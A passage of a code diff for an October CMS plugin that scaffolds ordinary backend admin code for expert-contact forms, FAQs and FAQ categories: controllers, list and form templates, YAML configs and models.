<span class="modal-btn" style="text-align: center;font-size: 14px;" onclick="closeModal()">{{ 'expert_form.success_close_modal'|_ }}</span>
|
||||
</div>
|
||||
</form>
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
<?php namespace Tps\Tps\Controllers;
|
||||
|
||||
use Backend\Classes\Controller;
|
||||
use BackendMenu;
|
||||
|
||||
class ExpertFormController extends Controller
|
||||
{
|
||||
public $implement = [ 'Backend\Behaviors\ListController', 'Backend\Behaviors\FormController', 'Backend\Behaviors\ReorderController' ];
|
||||
|
||||
public $listConfig = 'config_list.yaml';
|
||||
public $formConfig = 'config_form.yaml';
|
||||
public $reorderConfig = 'config_reorder.yaml';
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
parent::__construct();
|
||||
BackendMenu::setContext('Tps.Tps', 'main-menu-item3');
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
<?php namespace Tps\Tps\Controllers;
|
||||
|
||||
use Backend\Classes\Controller;
|
||||
use BackendMenu;
|
||||
|
||||
class FaqCategoryController extends Controller
|
||||
{
|
||||
public $implement = [ 'Backend\Behaviors\ListController', 'Backend\Behaviors\FormController', 'Backend\Behaviors\ReorderController' ];
|
||||
|
||||
public $listConfig = 'config_list.yaml';
|
||||
public $formConfig = 'config_form.yaml';
|
||||
public $reorderConfig = 'config_reorder.yaml';
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
parent::__construct();
|
||||
BackendMenu::setContext('Tps.Tps', 'main-menu-item2', 'side-menu-item');
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
<?php namespace Tps\Tps\Controllers;
|
||||
|
||||
use Backend\Classes\Controller;
|
||||
use BackendMenu;
|
||||
|
||||
class FaqController extends Controller
|
||||
{
|
||||
public $implement = [ 'Backend\Behaviors\ListController', 'Backend\Behaviors\FormController', 'Backend\Behaviors\ReorderController' ];
|
||||
|
||||
public $listConfig = 'config_list.yaml';
|
||||
public $formConfig = 'config_form.yaml';
|
||||
public $reorderConfig = 'config_reorder.yaml';
|
||||
|
||||
public function __construct()
|
||||
{
|
||||
parent::__construct();
|
||||
BackendMenu::setContext('Tps.Tps', 'main-menu-item2');
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
<div data-control="toolbar">
|
||||
<a href="<?= Backend::url('tps/tps/expertformcontroller/create') ?>" class="btn btn-primary oc-icon-plus"><?= e(trans('backend::lang.form.create')) ?></a>
|
||||
<a href="<?= Backend::url('tps/tps/expertformcontroller/reorder') ?>" class="btn btn-default oc-icon-list"><?= e(trans('backend::lang.reorder.default_title')) ?></a>
|
||||
<button
|
||||
class="btn btn-default oc-icon-trash-o"
|
||||
disabled="disabled"
|
||||
onclick="$(this).data('request-data', {
|
||||
checked: $('.control-list').listWidget('getChecked')
|
||||
})"
|
||||
data-request="onDelete"
|
||||
data-request-confirm="<?= e(trans('backend::lang.list.delete_selected_confirm')) ?>"
|
||||
data-trigger-action="enable"
|
||||
data-trigger=".control-list input[type=checkbox]"
|
||||
data-trigger-condition="checked"
|
||||
data-request-success="$(this).prop('disabled', true)"
|
||||
data-stripe-load-indicator>
|
||||
<?= e(trans('backend::lang.list.delete_selected')) ?>
|
||||
</button>
|
||||
</div>
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
<div data-control="toolbar">
|
||||
<a href="<?= Backend::url('tps/tps/expertformcontroller') ?>" class="btn btn-primary oc-icon-caret-left"><?= e(trans('backend::lang.form.return_to_list')) ?></a>
|
||||
</div>
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
name: ExpertFormController
|
||||
form: $/tps/tps/models/expertform/fields.yaml
|
||||
modelClass: Tps\Tps\Models\ExpertForm
|
||||
defaultRedirect: tps/tps/expertformcontroller
|
||||
create:
|
||||
redirect: 'tps/tps/expertformcontroller/update/:id'
|
||||
redirectClose: tps/tps/expertformcontroller
|
||||
update:
|
||||
redirect: tps/tps/expertformcontroller
|
||||
redirectClose: tps/tps/expertformcontroller
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
list: $/tps/tps/models/expertform/columns.yaml
|
||||
modelClass: Tps\Tps\Models\ExpertForm
|
||||
title: ExpertFormController
|
||||
noRecordsMessage: 'backend::lang.list.no_records'
|
||||
showSetup: true
|
||||
showCheckboxes: true
|
||||
recordsPerPage: 20
|
||||
toolbar:
|
||||
buttons: list_toolbar
|
||||
search:
|
||||
prompt: 'backend::lang.list.search_prompt'
|
||||
recordUrl: 'tps/tps/expertformcontroller/update/:id'
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
title: ExpertFormController
|
||||
modelClass: Tps\Tps\Models\ExpertForm
|
||||
toolbar:
|
||||
buttons: reorder_toolbar
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/expertformcontroller') ?>">ExpertFormController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?php if (!$this->fatalError): ?>
|
||||
|
||||
<?= Form::open(['class' => 'layout']) ?>
|
||||
|
||||
<div class="layout-row">
|
||||
<?= $this->formRender() ?>
|
||||
</div>
|
||||
|
||||
<div class="form-buttons">
|
||||
<div class="loading-indicator-container">
|
||||
<button
|
||||
type="submit"
|
||||
data-request="onSave"
|
||||
data-hotkey="ctrl+s, cmd+s"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-primary">
|
||||
<?= e(trans('backend::lang.form.create')) ?>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
data-request="onSave"
|
||||
data-request-data="close:1"
|
||||
data-hotkey="ctrl+enter, cmd+enter"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-default">
|
||||
<?= e(trans('backend::lang.form.create_and_close')) ?>
|
||||
</button>
|
||||
<span class="btn-text">
|
||||
<?= e(trans('backend::lang.form.or')) ?> <a href="<?= Backend::url('tps/tps/expertformcontroller') ?>"><?= e(trans('backend::lang.form.cancel')) ?></a>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<?= Form::close() ?>
|
||||
|
||||
<?php else: ?>
|
||||
<p class="flash-message static error"><?= e(trans($this->fatalError)) ?></p>
|
||||
<p><a href="<?= Backend::url('tps/tps/expertformcontroller') ?>" class="btn btn-default"><?= e(trans('backend::lang.form.return_to_list')) ?></a></p>
|
||||
<?php endif ?>
|
||||
|
|
@ -0,0 +1 @@
|
|||
<?= $this->listRender() ?>
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/expertformcontroller') ?>">ExpertFormController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?php if (!$this->fatalError): ?>
|
||||
|
||||
<div class="form-preview">
|
||||
<?= $this->formRenderPreview() ?>
|
||||
</div>
|
||||
|
||||
<?php else: ?>
|
||||
<p class="flash-message static error"><?= e($this->fatalError) ?></p>
|
||||
<?php endif ?>
|
||||
|
||||
<p>
|
||||
<a href="<?= Backend::url('tps/tps/expertformcontroller') ?>" class="btn btn-default oc-icon-chevron-left">
|
||||
<?= e(trans('backend::lang.form.return_to_list')) ?>
|
||||
</a>
|
||||
</p>
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/expertformcontroller') ?>">ExpertFormController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?= $this->reorderRender() ?>
|
||||
|
|
@ -0,0 +1,54 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/expertformcontroller') ?>">ExpertFormController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?php if (!$this->fatalError): ?>
|
||||
|
||||
<?= Form::open(['class' => 'layout']) ?>
|
||||
|
||||
<div class="layout-row">
|
||||
<?= $this->formRender() ?>
|
||||
</div>
|
||||
|
||||
<div class="form-buttons">
|
||||
<div class="loading-indicator-container">
|
||||
<button
|
||||
type="submit"
|
||||
data-request="onSave"
|
||||
data-request-data="redirect:0"
|
||||
data-hotkey="ctrl+s, cmd+s"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-primary">
|
||||
<?= e(trans('backend::lang.form.save')) ?>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
data-request="onSave"
|
||||
data-request-data="close:1"
|
||||
data-hotkey="ctrl+enter, cmd+enter"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-default">
|
||||
<?= e(trans('backend::lang.form.save_and_close')) ?>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="oc-icon-trash-o btn-icon danger pull-right"
|
||||
data-request="onDelete"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.deleting')) ?>"
|
||||
data-request-confirm="<?= e(trans('backend::lang.form.confirm_delete')) ?>">
|
||||
</button>
|
||||
|
||||
<span class="btn-text">
|
||||
<?= e(trans('backend::lang.form.or')) ?> <a href="<?= Backend::url('tps/tps/expertformcontroller') ?>"><?= e(trans('backend::lang.form.cancel')) ?></a>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<?= Form::close() ?>
|
||||
|
||||
<?php else: ?>
|
||||
<p class="flash-message static error"><?= e(trans($this->fatalError)) ?></p>
|
||||
<p><a href="<?= Backend::url('tps/tps/expertformcontroller') ?>" class="btn btn-default"><?= e(trans('backend::lang.form.return_to_list')) ?></a></p>
|
||||
<?php endif ?>
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
<div data-control="toolbar">
|
||||
<a href="<?= Backend::url('tps/tps/faqcategorycontroller/create') ?>" class="btn btn-primary oc-icon-plus"><?= e(trans('backend::lang.form.create')) ?></a>
|
||||
<a href="<?= Backend::url('tps/tps/faqcategorycontroller/reorder') ?>" class="btn btn-default oc-icon-list"><?= e(trans('backend::lang.reorder.default_title')) ?></a>
|
||||
<button
|
||||
class="btn btn-default oc-icon-trash-o"
|
||||
disabled="disabled"
|
||||
onclick="$(this).data('request-data', {
|
||||
checked: $('.control-list').listWidget('getChecked')
|
||||
})"
|
||||
data-request="onDelete"
|
||||
data-request-confirm="<?= e(trans('backend::lang.list.delete_selected_confirm')) ?>"
|
||||
data-trigger-action="enable"
|
||||
data-trigger=".control-list input[type=checkbox]"
|
||||
data-trigger-condition="checked"
|
||||
data-request-success="$(this).prop('disabled', true)"
|
||||
data-stripe-load-indicator>
|
||||
<?= e(trans('backend::lang.list.delete_selected')) ?>
|
||||
</button>
|
||||
</div>
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
<div data-control="toolbar">
|
||||
<a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>" class="btn btn-primary oc-icon-caret-left"><?= e(trans('backend::lang.form.return_to_list')) ?></a>
|
||||
</div>
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
name: FaqCategoryController
|
||||
form: $/tps/tps/models/faqcategory/fields.yaml
|
||||
modelClass: Tps\Tps\Models\FaqCategory
|
||||
defaultRedirect: tps/tps/faqcategorycontroller
|
||||
create:
|
||||
redirect: 'tps/tps/faqcategorycontroller/update/:id'
|
||||
redirectClose: tps/tps/faqcategorycontroller
|
||||
update:
|
||||
redirect: tps/tps/faqcategorycontroller
|
||||
redirectClose: tps/tps/faqcategorycontroller
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
list: $/tps/tps/models/faqcategory/columns.yaml
|
||||
modelClass: Tps\Tps\Models\FaqCategory
|
||||
title: FaqCategoryController
|
||||
noRecordsMessage: 'backend::lang.list.no_records'
|
||||
showSetup: true
|
||||
showCheckboxes: true
|
||||
recordsPerPage: 20
|
||||
toolbar:
|
||||
buttons: list_toolbar
|
||||
search:
|
||||
prompt: 'backend::lang.list.search_prompt'
|
||||
recordUrl: 'tps/tps/faqcategorycontroller/update/:id'
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
title: FaqCategoryController
|
||||
modelClass: Tps\Tps\Models\FaqCategory
|
||||
toolbar:
|
||||
buttons: reorder_toolbar
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>">FaqCategoryController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?php if (!$this->fatalError): ?>
|
||||
|
||||
<?= Form::open(['class' => 'layout']) ?>
|
||||
|
||||
<div class="layout-row">
|
||||
<?= $this->formRender() ?>
|
||||
</div>
|
||||
|
||||
<div class="form-buttons">
|
||||
<div class="loading-indicator-container">
|
||||
<button
|
||||
type="submit"
|
||||
data-request="onSave"
|
||||
data-hotkey="ctrl+s, cmd+s"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-primary">
|
||||
<?= e(trans('backend::lang.form.create')) ?>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
data-request="onSave"
|
||||
data-request-data="close:1"
|
||||
data-hotkey="ctrl+enter, cmd+enter"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-default">
|
||||
<?= e(trans('backend::lang.form.create_and_close')) ?>
|
||||
</button>
|
||||
<span class="btn-text">
|
||||
<?= e(trans('backend::lang.form.or')) ?> <a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>"><?= e(trans('backend::lang.form.cancel')) ?></a>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<?= Form::close() ?>
|
||||
|
||||
<?php else: ?>
|
||||
<p class="flash-message static error"><?= e(trans($this->fatalError)) ?></p>
|
||||
<p><a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>" class="btn btn-default"><?= e(trans('backend::lang.form.return_to_list')) ?></a></p>
|
||||
<?php endif ?>
|
||||
|
|
@ -0,0 +1 @@
|
|||
<?= $this->listRender() ?>
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>">FaqCategoryController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?php if (!$this->fatalError): ?>
|
||||
|
||||
<div class="form-preview">
|
||||
<?= $this->formRenderPreview() ?>
|
||||
</div>
|
||||
|
||||
<?php else: ?>
|
||||
<p class="flash-message static error"><?= e($this->fatalError) ?></p>
|
||||
<?php endif ?>
|
||||
|
||||
<p>
|
||||
<a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>" class="btn btn-default oc-icon-chevron-left">
|
||||
<?= e(trans('backend::lang.form.return_to_list')) ?>
|
||||
</a>
|
||||
</p>
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>">FaqCategoryController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?= $this->reorderRender() ?>
|
||||
|
|
@ -0,0 +1,54 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>">FaqCategoryController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?php if (!$this->fatalError): ?>
|
||||
|
||||
<?= Form::open(['class' => 'layout']) ?>
|
||||
|
||||
<div class="layout-row">
|
||||
<?= $this->formRender() ?>
|
||||
</div>
|
||||
|
||||
<div class="form-buttons">
|
||||
<div class="loading-indicator-container">
|
||||
<button
|
||||
type="submit"
|
||||
data-request="onSave"
|
||||
data-request-data="redirect:0"
|
||||
data-hotkey="ctrl+s, cmd+s"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-primary">
|
||||
<?= e(trans('backend::lang.form.save')) ?>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
data-request="onSave"
|
||||
data-request-data="close:1"
|
||||
data-hotkey="ctrl+enter, cmd+enter"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-default">
|
||||
<?= e(trans('backend::lang.form.save_and_close')) ?>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="oc-icon-trash-o btn-icon danger pull-right"
|
||||
data-request="onDelete"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.deleting')) ?>"
|
||||
data-request-confirm="<?= e(trans('backend::lang.form.confirm_delete')) ?>">
|
||||
</button>
|
||||
|
||||
<span class="btn-text">
|
||||
<?= e(trans('backend::lang.form.or')) ?> <a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>"><?= e(trans('backend::lang.form.cancel')) ?></a>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<?= Form::close() ?>
|
||||
|
||||
<?php else: ?>
|
||||
<p class="flash-message static error"><?= e(trans($this->fatalError)) ?></p>
|
||||
<p><a href="<?= Backend::url('tps/tps/faqcategorycontroller') ?>" class="btn btn-default"><?= e(trans('backend::lang.form.return_to_list')) ?></a></p>
|
||||
<?php endif ?>
|
||||
|
|
@ -0,0 +1,19 @@
|
|||
<div data-control="toolbar">
|
||||
<a href="<?= Backend::url('tps/tps/faqcontroller/create') ?>" class="btn btn-primary oc-icon-plus"><?= e(trans('backend::lang.form.create')) ?></a>
|
||||
<a href="<?= Backend::url('tps/tps/faqcontroller/reorder') ?>" class="btn btn-default oc-icon-list"><?= e(trans('backend::lang.reorder.default_title')) ?></a>
|
||||
<button
|
||||
class="btn btn-default oc-icon-trash-o"
|
||||
disabled="disabled"
|
||||
onclick="$(this).data('request-data', {
|
||||
checked: $('.control-list').listWidget('getChecked')
|
||||
})"
|
||||
data-request="onDelete"
|
||||
data-request-confirm="<?= e(trans('backend::lang.list.delete_selected_confirm')) ?>"
|
||||
data-trigger-action="enable"
|
||||
data-trigger=".control-list input[type=checkbox]"
|
||||
data-trigger-condition="checked"
|
||||
data-request-success="$(this).prop('disabled', true)"
|
||||
data-stripe-load-indicator>
|
||||
<?= e(trans('backend::lang.list.delete_selected')) ?>
|
||||
</button>
|
||||
</div>
|
||||
|
|
@ -0,0 +1,3 @@
|
|||
<div data-control="toolbar">
|
||||
<a href="<?= Backend::url('tps/tps/faqcontroller') ?>" class="btn btn-primary oc-icon-caret-left"><?= e(trans('backend::lang.form.return_to_list')) ?></a>
|
||||
</div>
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
name: FaqController
|
||||
form: $/tps/tps/models/faq/fields.yaml
|
||||
modelClass: Tps\Tps\Models\FAQ
|
||||
defaultRedirect: tps/tps/faqcontroller
|
||||
create:
|
||||
redirect: 'tps/tps/faqcontroller/update/:id'
|
||||
redirectClose: tps/tps/faqcontroller
|
||||
update:
|
||||
redirect: tps/tps/faqcontroller
|
||||
redirectClose: tps/tps/faqcontroller
|
||||
|
|
@ -0,0 +1,12 @@
|
|||
list: $/tps/tps/models/faq/columns.yaml
|
||||
modelClass: Tps\Tps\Models\FAQ
|
||||
title: FaqController
|
||||
noRecordsMessage: 'backend::lang.list.no_records'
|
||||
showSetup: true
|
||||
showCheckboxes: true
|
||||
recordsPerPage: 20
|
||||
toolbar:
|
||||
buttons: list_toolbar
|
||||
search:
|
||||
prompt: 'backend::lang.list.search_prompt'
|
||||
recordUrl: 'tps/tps/faqcontroller/update/:id'
|
||||
|
|
@ -0,0 +1,4 @@
|
|||
title: FaqController
|
||||
modelClass: Tps\Tps\Models\FAQ
|
||||
toolbar:
|
||||
buttons: reorder_toolbar
|
||||
|
|
@ -0,0 +1,46 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/faqcontroller') ?>">FaqController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?php if (!$this->fatalError): ?>
|
||||
|
||||
<?= Form::open(['class' => 'layout']) ?>
|
||||
|
||||
<div class="layout-row">
|
||||
<?= $this->formRender() ?>
|
||||
</div>
|
||||
|
||||
<div class="form-buttons">
|
||||
<div class="loading-indicator-container">
|
||||
<button
|
||||
type="submit"
|
||||
data-request="onSave"
|
||||
data-hotkey="ctrl+s, cmd+s"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-primary">
|
||||
<?= e(trans('backend::lang.form.create')) ?>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
data-request="onSave"
|
||||
data-request-data="close:1"
|
||||
data-hotkey="ctrl+enter, cmd+enter"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-default">
|
||||
<?= e(trans('backend::lang.form.create_and_close')) ?>
|
||||
</button>
|
||||
<span class="btn-text">
|
||||
<?= e(trans('backend::lang.form.or')) ?> <a href="<?= Backend::url('tps/tps/faqcontroller') ?>"><?= e(trans('backend::lang.form.cancel')) ?></a>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<?= Form::close() ?>
|
||||
|
||||
<?php else: ?>
|
||||
<p class="flash-message static error"><?= e(trans($this->fatalError)) ?></p>
|
||||
<p><a href="<?= Backend::url('tps/tps/faqcontroller') ?>" class="btn btn-default"><?= e(trans('backend::lang.form.return_to_list')) ?></a></p>
|
||||
<?php endif ?>
|
||||
|
|
@ -0,0 +1 @@
|
|||
<?= $this->listRender() ?>
|
||||
|
|
@ -0,0 +1,22 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/faqcontroller') ?>">FaqController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?php if (!$this->fatalError): ?>
|
||||
|
||||
<div class="form-preview">
|
||||
<?= $this->formRenderPreview() ?>
|
||||
</div>
|
||||
|
||||
<?php else: ?>
|
||||
<p class="flash-message static error"><?= e($this->fatalError) ?></p>
|
||||
<?php endif ?>
|
||||
|
||||
<p>
|
||||
<a href="<?= Backend::url('tps/tps/faqcontroller') ?>" class="btn btn-default oc-icon-chevron-left">
|
||||
<?= e(trans('backend::lang.form.return_to_list')) ?>
|
||||
</a>
|
||||
</p>
|
||||
|
|
@ -0,0 +1,8 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/faqcontroller') ?>">FaqController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?= $this->reorderRender() ?>
|
||||
|
|
@ -0,0 +1,54 @@
|
|||
<?php Block::put('breadcrumb') ?>
|
||||
<ul>
|
||||
<li><a href="<?= Backend::url('tps/tps/faqcontroller') ?>">FaqController</a></li>
|
||||
<li><?= e($this->pageTitle) ?></li>
|
||||
</ul>
|
||||
<?php Block::endPut() ?>
|
||||
|
||||
<?php if (!$this->fatalError): ?>
|
||||
|
||||
<?= Form::open(['class' => 'layout']) ?>
|
||||
|
||||
<div class="layout-row">
|
||||
<?= $this->formRender() ?>
|
||||
</div>
|
||||
|
||||
<div class="form-buttons">
|
||||
<div class="loading-indicator-container">
|
||||
<button
|
||||
type="submit"
|
||||
data-request="onSave"
|
||||
data-request-data="redirect:0"
|
||||
data-hotkey="ctrl+s, cmd+s"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-primary">
|
||||
<?= e(trans('backend::lang.form.save')) ?>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
data-request="onSave"
|
||||
data-request-data="close:1"
|
||||
data-hotkey="ctrl+enter, cmd+enter"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.saving')) ?>"
|
||||
class="btn btn-default">
|
||||
<?= e(trans('backend::lang.form.save_and_close')) ?>
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="oc-icon-trash-o btn-icon danger pull-right"
|
||||
data-request="onDelete"
|
||||
data-load-indicator="<?= e(trans('backend::lang.form.deleting')) ?>"
|
||||
data-request-confirm="<?= e(trans('backend::lang.form.confirm_delete')) ?>">
|
||||
</button>
|
||||
|
||||
<span class="btn-text">
|
||||
<?= e(trans('backend::lang.form.or')) ?> <a href="<?= Backend::url('tps/tps/faqcontroller') ?>"><?= e(trans('backend::lang.form.cancel')) ?></a>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<?= Form::close() ?>
|
||||
|
||||
<?php else: ?>
|
||||
<p class="flash-message static error"><?= e(trans($this->fatalError)) ?></p>
|
||||
<p><a href="<?= Backend::url('tps/tps/faqcontroller') ?>" class="btn btn-default"><?= e(trans('backend::lang.form.return_to_list')) ?></a></p>
|
||||
<?php endif ?>
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
<?php namespace Tps\Tps\Models;
|
||||
|
||||
use Model;
|
||||
|
||||
/**
|
||||
* Model
|
||||
*/
|
||||
class ExpertForm extends Model
|
||||
{
|
||||
use \October\Rain\Database\Traits\Validation;
|
||||
|
||||
|
||||
/**
|
||||
* @var string The database table used by the model.
|
||||
*/
|
||||
public $table = 'tps_tps_expert_form';
|
||||
|
||||
/**
|
||||
* @var array Validation rules
|
||||
*/
|
||||
public $rules = [
|
||||
];
|
||||
}
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
<?php namespace Tps\Tps\Models;
|
||||
|
||||
use Model;
|
||||
|
||||
/**
|
||||
* Model
|
||||
*/
|
||||
class FAQ extends Model
|
||||
{
|
||||
use \October\Rain\Database\Traits\Validation;
|
||||
|
||||
|
||||
/**
|
||||
* @var string The database table used by the model.
|
||||
*/
|
||||
public $table = 'tps_tps_faq';
|
||||
|
||||
/**
|
||||
* @var array Validation rules
|
||||
*/
|
||||
public $rules = [
|
||||
];
|
||||
|
||||
public $belongsTo = [
|
||||
'faq_category' => \Tps\Tps\Models\FaqCategory::class, 'order' => 'name'
|
||||
];
|
||||
|
||||
public $implement = ['RainLab.Translate.Behaviors.TranslatableModel'];
|
||||
public $translatable = ['question','answer'];
|
||||
}
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
<?php namespace Tps\Tps\Models;
|
||||
|
||||
use Model;
|
||||
|
||||
/**
|
||||
* Model
|
||||
*/
|
||||
class FaqCategory extends Model
|
||||
{
|
||||
use \October\Rain\Database\Traits\Validation;
|
||||
|
||||
|
||||
/**
|
||||
* @var string The database table used by the model.
|
||||
*/
|
||||
public $table = 'tps_tps_faq_category';
|
||||
|
||||
/**
|
||||
* @var array Validation rules
|
||||
*/
|
||||
public $rules = [
|
||||
];
|
||||
|
||||
public $hasMany = [
|
||||
'faq' => \Tps\Tps\Models\FAQ::class
|
||||
];
|
||||
|
||||
public $implement = ['RainLab.Translate.Behaviors.TranslatableModel'];
|
||||
public $translatable = ['name'];
|
||||
}
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
columns:
|
||||
id:
|
||||
label: id
|
||||
type: number
|
||||
name:
|
||||
label: name
|
||||
type: text
|
||||
phone:
|
||||
label: phone
|
||||
type: text
|
||||
created_at:
|
||||
label: created_at
|
||||
type: datetime
|
||||
updated_at:
|
||||
label: updated_at
|
||||
type: datetime
|
||||
|
|
@ -0,0 +1,18 @@
|
|||
fields:
|
||||
name:
|
||||
label: Name
|
||||
span: auto
|
||||
type: text
|
||||
phone:
|
||||
label: Phone
|
||||
span: auto
|
||||
type: text
|
||||
message:
|
||||
label: Message
|
||||
size: small
|
||||
span: auto
|
||||
type: textarea
|
||||
email:
|
||||
label: Email
|
||||
span: right
|
||||
type: text
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
columns:
|
||||
id:
|
||||
label: id
|
||||
type: number
|
||||
question:
|
||||
label: question
|
||||
type: text
|
||||
answer:
|
||||
label: answer
|
||||
type: text
|
||||
created_at:
|
||||
label: created_at
|
||||
type: datetime
|
||||
updated_at:
|
||||
label: updated_at
|
||||
type: datetime
|
||||
|
|
@ -0,0 +1,17 @@
|
|||
fields:
|
||||
question:
|
||||
label: question
|
||||
size: small
|
||||
span: auto
|
||||
type: textarea
|
||||
answer:
|
||||
label: answer
|
||||
size: small
|
||||
span: auto
|
||||
type: textarea
|
||||
faq_category:
|
||||
label: 'FAQ category'
|
||||
nameFrom: name
|
||||
descriptionFrom: description
|
||||
span: auto
|
||||
type: relation
|
||||
|
|
@ -0,0 +1,13 @@
|
|||
columns:
|
||||
id:
|
||||
label: id
|
||||
type: number
|
||||
name:
|
||||
label: name
|
||||
type: text
|
||||
created_at:
|
||||
label: created_at
|
||||
type: datetime
|
||||
updated_at:
|
||||
label: updated_at
|
||||
type: datetime
|
||||
|
|
@ -0,0 +1,5 @@
|
|||
fields:
|
||||
name:
|
||||
label: 'Category name'
|
